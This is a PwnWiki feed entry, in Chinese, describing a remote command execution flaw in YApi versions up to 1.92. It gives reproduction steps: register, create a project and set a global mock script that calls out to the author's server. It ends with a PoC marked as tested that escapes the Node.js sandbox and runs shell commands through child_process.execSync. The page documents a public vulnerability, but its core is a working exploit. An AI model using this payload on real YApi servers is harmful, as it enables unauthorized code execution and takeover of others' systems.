https://pwnwiki.com/api.php?action=feedcontributions&feedformat=atom&user=%E9%98%BF%E7%99%BD
PwnWiki - User contributions [Chinese]
2026-04-04T03:24:41Z
User contributions
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=YApi_%E6%9C%AA%E6%8E%88%E6%AC%8A%E7%94%A8%E6%88%B6%E5%89%B5%E5%BB%BA%26Mock%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&diff=6599
YApi 未授權用戶創建&Mock遠程命令執行漏洞
2021-07-08T15:46:54Z
<p>阿白: </p>
<hr />
<div><languages /><br />
<br />
<center><br />
{| style="border: 2.0px solid grey; background: #b3ff9c;" width="85%"<br />
| align="center" width="60px"| [[File:Check.png|link=|55px]]<br />
| align="center" |'''<translate><!--T:1--> 該漏洞已通過驗證</translate>'''<br />
------<br />
<small><translate><!--T:2--> 本頁面的EXP/POC/Payload經測試可用，漏洞已經成功復現。</translate></small><br />
|}<br />
</center><br />
<translate><br />
==影響版本== <!--T:3--><br />
</translate><br />
<=V1.92 All<br />
<br />
<translate><br />
==漏洞復現== <!--T:4--><br />
</translate><br />
<br />
<br />
<translate><br />
<!--T:6--><br />
登錄註冊後，創建一個項目<br />
</translate><br />
<br />
[[File:124460388-eaa46100-ddc1-11eb-80c4-2bddb97df8e1.png | 800px]]<br />
<br />
<translate><br />
<!--T:7--><br />
然後選擇設置全局的mock腳本，設置命令為遠程訪問我的服務器地址。<br />
</translate><br />
<br />
[[File:124460511-090a5c80-ddc2-11eb-92f6-46c9b3b498bb.png | 800px ]]<br />
<br />
<translate><br />
<!--T:8--><br />
添加接口，訪問接口的mock地址<br />
</translate><br />
<br />
[[File:124460629-2dfecf80-ddc2-11eb-98c3-b96f7174d8f1.png | 800px]]<br />
<br />
<translate><br />
<!--T:9--><br />
服務器可以看到如下響應<br />
</translate><br />
[[File:124460757-5686c980-ddc2-11eb-87df-09e0f9ac08af.png | 800px]]<br />
<br />
<br />
==POC==<br />
<pre><br />
const sandbox = this<br />
const ObjectConstructor = this.constructor<br />
const FunctionConstructor = ObjectConstructor.constructor<br />
const myfun = FunctionConstructor('return process')<br />
const process = myfun()<br />
mockJson = process.mainModule.require("child_process").execSync("command").toString()<br />
</pre><br />
<br />
<translate><br />
==參考== <!--T:10--><br />
</translate><br />
https://github.com/YMFE/yapi/issues/2233</div>
阿白